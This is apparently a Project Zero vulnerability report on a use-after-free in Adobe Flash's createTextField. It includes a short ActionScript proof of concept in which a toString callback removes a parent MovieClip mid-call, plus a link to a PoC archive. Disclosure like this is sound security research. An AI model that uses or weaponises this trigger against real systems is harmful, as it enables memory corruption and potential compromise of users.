Adobe Flash - createTextField Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:

_root-->l1-->l2-->l3

If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:

var l1 = this.createEmptyMovieClip("l1", 1);
var l2 = l1.createEmptyMovieClip("l2", 1);
ns = {toString: strfunc, valueOf: strfunc};
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);

function strfunc(){
	
	l2.removeMovieClip();
	return "myname";
	
	}

A sample SWF and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37873.zip